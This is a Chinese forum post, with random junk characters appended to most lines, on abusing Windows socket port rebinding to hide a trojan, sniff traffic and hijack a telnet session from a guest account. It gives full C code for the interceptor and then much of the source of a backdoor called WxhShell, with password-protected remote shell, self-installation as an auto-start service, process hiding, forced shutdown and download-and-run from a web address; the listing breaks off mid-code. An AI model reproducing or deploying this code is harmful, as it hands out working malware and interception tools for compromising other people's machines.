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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: cLyuCaH>c  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U3j~}H.D1  
gHh.|PysW  
  saddr.sin_family = AF_INET; @;n$caw  
VgZaDd;  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5q_OuZ/6  
Uh|__DUkh  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r)#"$Sm  
w[$nO#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b\0Q:  
.dKRIFo  
  这意味着什么?意味着可以进行如下的攻击: MkNURy>n&  
j'40>Ct=i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <Ec)m69P  
Va |9)m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZAM+4#@  
+S5_J&~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 r(in]7  
gM5p1?E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X,Q=n2X?3  
tId !C  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 IL6f~!  
"k1Tsd-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =@jMx^A"  
ks#Z~6+3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /jn3'q_,  
4@mXtA  
  #include u g:G9vjQ  
  #include i(f;'fb*  
  #include 6[h$r/GXh"  
  #include    On.x~ t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xE-c9AH  
  int main() GWqY$YT  
  { dK;\`>8  
  WORD wVersionRequested; jme5'FR  
  DWORD ret; 3 cW"VrFy9  
  WSADATA wsaData; ,S0~:c:)  
  BOOL val; Mm7n?kb6  
  SOCKADDR_IN saddr; q}F%o0  
  SOCKADDR_IN scaddr; vBYT)S  
  int err; CygV_q  
  SOCKET s; &P{p\v2Y  
  SOCKET sc; )< a8a@  
  int caddsize; G* ~*2>~  
  HANDLE mt; Is6']bYh  
  DWORD tid;   TX [%s@C  
  wVersionRequested = MAKEWORD( 2, 2 ); ^YJ^+:D(  
  err = WSAStartup( wVersionRequested, &wsaData ); -b>O4_N  
  if ( err != 0 ) { n `T[eb~  
  printf("error!WSAStartup failed!\n"); %FWfiFV|<  
  return -1; (F '  
  } A{Htpm~  
  saddr.sin_family = AF_INET; )>M@hIV5>  
   '-]BSU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 [`-O-?=  
8!%"/*P$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gL}Y5U+s  
  saddr.sin_port = htons(23); Q.2nUT`  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &|\}\+0Z  
  { Vv)E41  
  printf("error!socket failed!\n"); [O+^eE6h  
  return -1; S@G{|.)2  
  } U8$dG)PhA  
  val = TRUE; 9PGR#!!F$  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e, 0I~:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) lvJ{=~u  
  { 6ym)F!t8l  
  printf("error!setsockopt failed!\n"); L8tLW09  
  return -1; ^RAFmM#F  
  } >;r05,mc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dlzamoS@AR  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g7z9i[  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 27 TZ+?  
y^46z( I  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3R:i*8C  
  { "sx&8H"  
  ret=GetLastError(); 9w<Bm"G  
  printf("error!bind failed!\n"); Y9L6W+=T  
  return -1; N_k6UA9  
  } UR2)e{RXg  
  listen(s,2); eL?si!ZL^  
  while(1) 5"~^;O  
  { HgATH  
  caddsize = sizeof(scaddr); ]bE?n.NwZ  
  //接受连接请求 Hpg;?xAT  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b-zX3R;  
  if(sc!=INVALID_SOCKET) gG;W:vR}l  
  { to|9)\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M*6@1.n  
  if(mt==NULL) NP'DuzC  
  { {bW3%iU  
  printf("Thread Creat Failed!\n"); Dj. +5f'  
  break; M>gZVB,eP>  
  } T<?BIQz(}  
  } +* {5ORq=  
  CloseHandle(mt); +mOtYf W  
  } F-,{+B66  
  closesocket(s); @CI6$  
  WSACleanup(); (#iM0{  
  return 0; \\Tp40m+  
  }   *`.{K12T  
  DWORD WINAPI ClientThread(LPVOID lpParam) gbf=H8]  
  { . \0=1P:  
  SOCKET ss = (SOCKET)lpParam; *+Q*&-$  
  SOCKET sc; l{o{=]x1  
  unsigned char buf[4096]; Z2jb>%  
  SOCKADDR_IN saddr; kD7(}N8YR  
  long num; ld?.o/  
  DWORD val; Z|S7 " ,  
  DWORD ret; gK\7^95  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yZ0ZP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ~RAH -]  
  saddr.sin_family = AF_INET; 2I 7`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r+p jv_R  
  saddr.sin_port = htons(23); NT/B4'_@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iX6jvnJ:/  
  { k\%v;3nBK  
  printf("error!socket failed!\n"); <uwCP4E  
  return -1; .LR>&N_U  
  } I'b]s~u  
  val = 100; ymX,k|lh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B&N&eRAE  
  { Z`c{LYP,y"  
  ret = GetLastError(); v nC&1  
  return -1; -Ep6 .v  
  } aW$nNUVD  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }3y\cv0ct  
  { 4yv31QG$  
  ret = GetLastError(); 4PM`hc  
  return -1; q#3X*!)  
  } :?k=Yr  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mJR T+SZ  
  { #'h CohL  
  printf("error!socket connect failed!\n"); }?kO<)d  
  closesocket(sc); q:sR zX  
  closesocket(ss); R_n-&d 'PP  
  return -1; [V0h9!  
  } Nb/%>3O@  
  while(1) fEv36xb2S  
  { 17MjIX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Qo *]l_UO;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 as!j0j%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S,RJ#.:F[t  
  num = recv(ss,buf,4096,0); 9W$)W  
  if(num>0) ye2Oh7  
  send(sc,buf,num,0); S\!E;p  
  else if(num==0) z1s"C[W2T  
  break; D+""o"%  
  num = recv(sc,buf,4096,0); jloyJ@ck  
  if(num>0) IuW10}"9  
  send(ss,buf,num,0); (SA*9%  
  else if(num==0) L]<4{8H.  
  break; TJ:Lz]l >  
  } {hR2NUm  
  closesocket(ss); |h/2'zd^-  
  closesocket(sc); 6J+ZeBk??  
  return 0 ; 0%+k>(@ R  
  } r'\TS U5!  
c%.& F  
nB0 ol-<  
========================================================== 'Sh5W%NM  
We?:DM [  
下边附上一个代码,,WXhSHELL G3?z.5 ,Q  
#sZes  
========================================================== -#x\E%v.F  
.y+U7 "?s*  
#include "stdafx.h" =>*N W9c  
)aSkUytg"  
#include <stdio.h> q8>Q,F`BA  
#include <string.h> |Wk G='02  
#include <windows.h> <-}\V!@E!  
#include <winsock2.h> m5{SPa,y  
#include <winsvc.h> vrbh+  
#include <urlmon.h> e*H$c?7NL  
Din)5CxFX  
#pragma comment (lib, "Ws2_32.lib") _AYF'o-Cm  
#pragma comment (lib, "urlmon.lib") 'DQyB`V2y  
PM7/fv*,  
#define MAX_USER   100 // 最大客户端连接数 9To6Rc;  
#define BUF_SOCK   200 // sock buffer "QS7?=>*F  
#define KEY_BUFF   255 // 输入 buffer *Fws]y2t~  
`0:@`)&g1  
#define REBOOT     0   // 重启 )zo ;r!eP  
#define SHUTDOWN   1   // 关机 '%N)(S`O7P  
j83 V$ Le  
#define DEF_PORT   5000 // 监听端口 _@2G]JD  
]EQ/*ct  
#define REG_LEN     16   // 注册表键长度 yk2j&}M  
#define SVC_LEN     80   // NT服务名长度 3(5Y-.aK}^  
9<S-b |!@  
// 从dll定义API D9 en  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mM.&c5U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9G~P)Z!0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qE{S'XyM,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]XU#i#;c  
Uw"   
// wxhshell配置信息 %>TdTt  
struct WSCFG { `l#g`~L  
  int ws_port;         // 监听端口 8t%1x|!  
  char ws_passstr[REG_LEN]; // 口令 )3sb 2 #  
  int ws_autoins;       // 安装标记, 1=yes 0=no mN02T@R-  
  char ws_regname[REG_LEN]; // 注册表键名 +$5^+C\6A  
  char ws_svcname[REG_LEN]; // 服务名 K<GCP2  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W6Pg:Il7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t/|^Nt@XT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Di*>PE@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >kYyR.p.b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Je,8{J|e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;rgsPVbVf  
S# #W_OlrI  
}; fF%r$`2  
G>x0}c  
// default Wxhshell configuration ~55>uw<  
struct WSCFG wscfg={DEF_PORT, 'oG'`ED"  
    "xuhuanlingzhe", Bx F  
    1, dp_q:P4; B  
    "Wxhshell", soF^G21N  
    "Wxhshell", g 7X>i:  
            "WxhShell Service", |:z%7J3wP  
    "Wrsky Windows CmdShell Service", m='OnTeOE  
    "Please Input Your Password: ", l<0V0R(  
  1, { SV$fl;  
  "http://www.wrsky.com/wxhshell.exe", zdCt#=QV?R  
  "Wxhshell.exe" Za w+  
    }; JK4  @  
CR<l"~X  
// 消息定义模块 zYgLGwi{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GcuZPIN%D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >nX'RE|F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EcU9Tm`h  
char *msg_ws_ext="\n\rExit."; wal }[F#  
char *msg_ws_end="\n\rQuit."; 71_N9ub@z  
char *msg_ws_boot="\n\rReboot..."; q9Q4F  
char *msg_ws_poff="\n\rShutdown..."; Rs wR DLl  
char *msg_ws_down="\n\rSave to "; <vs.Ucxx  
F <(Y  
char *msg_ws_err="\n\rErr!"; kel48B  
char *msg_ws_ok="\n\rOK!"; U*cj'`eqC  
1a<~Rmcil  
char ExeFile[MAX_PATH]; 2 O%UT?R  
int nUser = 0; 6k2~j j1d  
HANDLE handles[MAX_USER]; #7{a~-S  
int OsIsNt; w]_a0{Uh  
JS9q'd  
SERVICE_STATUS       serviceStatus; zw?6E8$h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C$8=HM3  
d9s"y?8  
// 函数声明 !SnpesTn  
int Install(void); 8Ex0[ e  
int Uninstall(void); bTj,5,8 i  
int DownloadFile(char *sURL, SOCKET wsh); eIJQ|p<v  
int Boot(int flag); vJ!t.Vou  
void HideProc(void); R-ci?7dt3  
int GetOsVer(void); C}CX n X  
int Wxhshell(SOCKET wsl); R##O9BSI8Z  
void TalkWithClient(void *cs); F>OYZOC]  
int CmdShell(SOCKET sock); f4q-wX_1  
int StartFromService(void); $\H>dm  
int StartWxhshell(LPSTR lpCmdLine); 3I]5DW %-  
]#`bYh^y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [{YV<kN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZYG"nmNd  
"LYob}_z  
// 数据结构和表定义 ~c4Y*]J  
SERVICE_TABLE_ENTRY DispatchTable[] = Ae1},2py  
{ "'%x|nB  
{wscfg.ws_svcname, NTServiceMain}, t1kD5^  
{NULL, NULL} ||qW'kNWM  
}; 3hkA`YSYt  
]^!#0(  
// 自我安装 ,M9'S;&^  
int Install(void) I/'>Bn+  
{ ][3 "xP  
  char svExeFile[MAX_PATH]; ctf'/IZ5  
  HKEY key; N'4*L=Ut  
  strcpy(svExeFile,ExeFile); SLW1]ZaG  
sB $!X@  
// 如果是win9x系统,修改注册表设为自启动 !*p lK6a  
if(!OsIsNt) { :H~r _>E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 46b.= }  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \>+gZc]an  
  RegCloseKey(key); K|iNEhuc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rS=6d6@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B$)KZR(u  
  RegCloseKey(key); Epx.0TA=t  
  return 0; t;'__">:q  
    } =&vV$UtV  
  } YPN|qn(  
} 4WLB,<b}  
else { /SyiJCx0  
s;bqUY?LD  
// 如果是NT以上系统,安装为系统服务 @^%# ]x,:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _b+3;Dy  
if (schSCManager!=0) kY|<1Ht  
{ bp }~{]:b  
  SC_HANDLE schService = CreateService 17-K~ybc  
  ( mV-MJ$3r  
  schSCManager, Ba"Z^(:  
  wscfg.ws_svcname, &4DWLI  
  wscfg.ws_svcdisp, ~U`aH~R  
  SERVICE_ALL_ACCESS, 1_A< nt?'R  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;lGjj9we>  
  SERVICE_AUTO_START, c Mq|`CM  
  SERVICE_ERROR_NORMAL, iKu5K0x{>I  
  svExeFile, {L#Pdj{  
  NULL, h>4\I;Ij  
  NULL, XWkYhTaY  
  NULL, !O*\|7A(  
  NULL, <|v]9`'  
  NULL YS/4<QA[  
  ); w!61k \  
  if (schService!=0) IyMKV$"  
  { +ft?aB@  
  CloseServiceHandle(schService); ;#AV~Y- s  
  CloseServiceHandle(schSCManager); j &~OR6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (i {  
  strcat(svExeFile,wscfg.ws_svcname); xR$xAcoSB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZZ.GpB.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %0L 9)-R  
  RegCloseKey(key); < d?O#(  
  return 0; UtzW5{  
    } nM@S`"  
  } w9vqFtj  
  CloseServiceHandle(schSCManager); `Dj-(~x  
} $cc]pJy"}  
} QHK$2xtq|  
y:xZ(RgfF  
return 1; l2xM.vR  
} r.[9/'>  
O>UR\l|+:2  
// 自我卸载 J@52<.>6  
int Uninstall(void) -FwOX~s/'  
{ t|1?mH9  
  HKEY key; >=wlS\:"  
NT:p6(s^  
if(!OsIsNt) { 23zB@aE_?1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;'*"(F=D6  
  RegDeleteValue(key,wscfg.ws_regname); gE|_hfm(  
  RegCloseKey(key); OXI.>9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oGa8}Vtc  
  RegDeleteValue(key,wscfg.ws_regname); 8@Pv nOL  
  RegCloseKey(key); 3#W>  
  return 0; 2-FL&DE  
  } ;:f.a(~c  
} t=5 K#SX}  
} 7&E3d P  
else { %6L{Z*(  
YHl6M&*@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OQA}+XO  
if (schSCManager!=0) awGI|d  
{ (z\@T`6`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %+qD-{&  
  if (schService!=0) }PD? x4  
  { h>9GfF3  
  if(DeleteService(schService)!=0) { }5\F<b^@Y  
  CloseServiceHandle(schService); LNtBYdB`pK  
  CloseServiceHandle(schSCManager); iCnKQG  
  return 0; ,@Xl?  
  } kU0e;r1N  
  CloseServiceHandle(schService); nKT\/}d  
  } l@%MS\{  
  CloseServiceHandle(schSCManager); Ap=L lZ  
} uD_iyK0,  
} "1t%J7c_  
7?xTJN)G  
return 1; rUR{MF&]D  
} xh,};TS(K  
> T=($:n  
// 从指定url下载文件 vdV@G`)HPr  
int DownloadFile(char *sURL, SOCKET wsh) gh#9<  
{ QOB>Tv E  
  HRESULT hr; 8i;EpAwB  
char seps[]= "/"; h${+{1](6  
char *token; f.4r'^  
char *file; 2Gd.B/L6  
char myURL[MAX_PATH]; L TzD\C'  
char myFILE[MAX_PATH]; vWc=^tT   
)l~:P uvh  
strcpy(myURL,sURL); "8>T  
  token=strtok(myURL,seps); kZfa8w L]P  
  while(token!=NULL) E0[ec6^qwY  
  { q,(U8  
    file=token; v'mRch)d  
  token=strtok(NULL,seps); B agO0#  
  } a"@k11  
UiO%y  
GetCurrentDirectory(MAX_PATH,myFILE); jhl9  
strcat(myFILE, "\\"); iv*`.9TK-  
strcat(myFILE, file); (R5n ND  
  send(wsh,myFILE,strlen(myFILE),0); @m[q0G}  
send(wsh,"...",3,0); kaq H.e(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V i V3Y  
  if(hr==S_OK) dI};l  
return 0; V.?N29CA|  
else ~.;+uH<i  
return 1; YMb\v4  
>)\x\e  
} m^I+>Bp/:  
ZCVwQ#Xe+  
// 系统电源模块 )RG@D\t,  
int Boot(int flag) 0]p! Bscaf  
{ 46OYOa  
  HANDLE hToken; I?r7dQEm  
  TOKEN_PRIVILEGES tkp; r)E9]"TAB  
e=e^;K4  
  if(OsIsNt) { O/ Yz6VQ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^E{M[;sF3y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bk^W]<:z`  
    tkp.PrivilegeCount = 1; LX;w~fRr.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5n{J}0C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3D|Y4OM  
if(flag==REBOOT) { ;;;aM:6\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IYAvO%~  
  return 0; lV924mh  
} |, #DB  
else { 'Km ~3t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2^RWGCEv  
  return 0; Va"H.]  
} $De14  
  } 6:_@;/03%  
  else { `< _A#@  
if(flag==REBOOT) { TkHyXOk"Ky  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _sLSl; /t  
  return 0; JWQd/  
} OI/m_xx@j  
else { ~xfoZiIA}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "u^%~2  
  return 0; ,6T F]6:  
} mXAGa8##j  
} 2w"Xv,*.'i  
WRIOjQ:  
return 1; ]$Ud`<Xnx  
} yR}PC/>  
Y%$@ZYW  
// win9x进程隐藏模块 ye?4^@u u  
void HideProc(void) S\wh *'Y  
{ ygI81\ D  
rFn%e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H[oCI|k  
  if ( hKernel != NULL ) "MS}@NLUW  
  { y-C=_v_X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $U . >]i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9rD6."G  
    FreeLibrary(hKernel); 3X|7 R  
  } j:k}6]p}  
f[r?J/;P9  
return; F/8="dM  
} +ftOJFkI  
Hg[g{A_G[  
// 获取操作系统版本 NWL\"xp `t  
int GetOsVer(void) 4 H 4W  
{ "!w$7|% T  
  OSVERSIONINFO winfo; ,^Ug[pGG-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^ &UezDTS  
  GetVersionEx(&winfo); ppYIVI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \Dn47V{7-  
  return 1; Q5K<ECoPk  
  else /xS4>@hn  
  return 0; MZPXI{G  
} Xgb ~ED]  
sWtT"7>x  
// 客户端句柄模块 q!fdiv`  
int Wxhshell(SOCKET wsl) /i !3Fr"  
{ +,8j]<wpo  
  SOCKET wsh; b\ P6,s'(  
  struct sockaddr_in client; F R57F(31  
  DWORD myID; @$:T]N3m  
Nj5V" c  
  while(nUser<MAX_USER) 0XgJCvMcB  
{ +O]jklS4H  
  int nSize=sizeof(client); WRdBL5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $~^Y4 } m  
  if(wsh==INVALID_SOCKET) return 1; N"',  
nO;*Peob  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O\~/J/u <  
if(handles[nUser]==0) ^k#.;Q#4  
  closesocket(wsh); }^b7x;O|  
else 5>S=f{ghFw  
  nUser++; ng0tNifZ;  
  } pYxdE|2j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 76'@}wNnw  
_0GM!Cny  
  return 0; aB $xQ|~  
} mK Ta.  
PQ0l<]Y  
// 关闭 socket ,V`zW<8  
void CloseIt(SOCKET wsh) Sh@en\m=#S  
{ k'6Poz+<  
closesocket(wsh); %jBI*WzR  
nUser--; '!V5 #J  
ExitThread(0); (7zdbJX  
} K-<kp!v  
^Fop/\E  
// 客户端请求句柄 GS*Mv{JJ  
void TalkWithClient(void *cs) ,)svSzR  
{ ezz;NH  
b'5]o  
  SOCKET wsh=(SOCKET)cs; dRhsnT+KX  
  char pwd[SVC_LEN]; j]6c_r3  
  char cmd[KEY_BUFF]; -O~ V4004  
char chr[1]; 9y$"[d27;+  
int i,j; AcoU.tpP  
iHYvH   
  while (nUser < MAX_USER) { RX"~m!26  
<w1# 3Mu'  
if(wscfg.ws_passstr) { +t8{aaV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pBR9)T\ n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); dv7IHUFf  
  //ZeroMemory(pwd,KEY_BUFF); l<DpcLX  
      i=0; ?7eD< |  
  while(i<SVC_LEN) { ;)c 4  
L_~vPp  
  // 设置超时 ' K\ $B_  
  fd_set FdRead; d*cAm$  
  struct timeval TimeOut; .[Hv/?L  
  FD_ZERO(&FdRead); $~G=Hcl9  
  FD_SET(wsh,&FdRead); n[f<]4<  
  TimeOut.tv_sec=8; IncHY?ud<  
  TimeOut.tv_usec=0; }#bX{?f  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H)5V \  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MJ% gF=$X  
Q($.s=&l;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qzh`x-S  
  pwd=chr[0]; ;ND)h pD+  
  if(chr[0]==0xd || chr[0]==0xa) { w(6(Fze  
  pwd=0; 0hCrEM!8  
  break; zZh\e,*  
  } .ou#BWav/  
  i++; 0*4h}t9j  
    } um5n3=K  
WU:r:m+ >  
  // 如果是非法用户,关闭 socket VNggDKS~K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :enmMB#%  
} ? CabVj-r  
7[/1uI9U8K  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7j//x Tr}a  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -ge :y2R_w  
Xlp$ xp"  
while(1) { 3[T<pAZ  
?c7} v  
  ZeroMemory(cmd,KEY_BUFF); ^6?)EM#  
J|gRG0O9Ya  
      // 自动支持客户端 telnet标准   sfUKH;xC  
  j=0; >P_/a,O8  
  while(j<KEY_BUFF) { [m+):q^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $TK<~3`  
  cmd[j]=chr[0]; ? 3'O  
  if(chr[0]==0xa || chr[0]==0xd) { W&'[Xj  
  cmd[j]=0; ;5.S"  
  break; M~SbIk<#a<  
  } z{uRq A G  
  j++; YB?5s`vr9d  
    } up^D9(y\  
1 Vq)& N  
  // 下载文件 pf%B  
  if(strstr(cmd,"http://")) { *y@Xm~ld  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sSdnH_;&  
  if(DownloadFile(cmd,wsh)) 84|oqwZO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3mCf>qj73  
  else VKtZyhK"h  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .^o3  
  } &?wNL@n  
  else { ,T<q"d7-#  
#ts;s\!  
    switch(cmd[0]) { )^q7s&p/  
  !7fL'  
  // 帮助 1SY`V?cu  
  case '?': { =,HxtPJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mDB?;a>  
    break; :Y\!~J3W  
  } J =j6rD  
  // 安装 !$1'q~sO  
  case 'i': { 6!Z>^'6  
    if(Install()) p@Va`:RDW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -w3KBlo  
    else )B1gX>J\8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BnwYyh  
    break; or)v:4PXW  
    } ^v+3qm@,  
  // 卸载 M&q3xo"w  
  case 'r': { =IC cN|  
    if(Uninstall()) R/BW$4/E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J.;{`U=:  
    else xJemc3]2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O3];1ud  
    break; >dU.ic?19  
    } z<h?WsL  
  // 显示 wxhshell 所在路径 ?mME^?x Mu  
  case 'p': { |9&bkojo  
    char svExeFile[MAX_PATH]; ]A%S&q  
    strcpy(svExeFile,"\n\r"); 'Io2",~ M  
      strcat(svExeFile,ExeFile); OMM5p=2Q  
        send(wsh,svExeFile,strlen(svExeFile),0); >$ok3-tuU  
    break; a*GiLq  
    } )h>H}wDs  
  // 重启 ~;ZT<eCIA  
  case 'b': { QswbIP/>:'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Lo-\;%y  
    if(Boot(REBOOT)) iFBH;O_~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'<Qk'   
    else { S9@2-Oc  
    closesocket(wsh); ^{+,j}V_H  
    ExitThread(0);  !L|PDGD  
    } <^v-y)%N:A  
    break; T^F9A55y  
    } LF?MO1!M  
  // 关机 {S*:pG:+q  
  case 'd': { PrwMR_-  
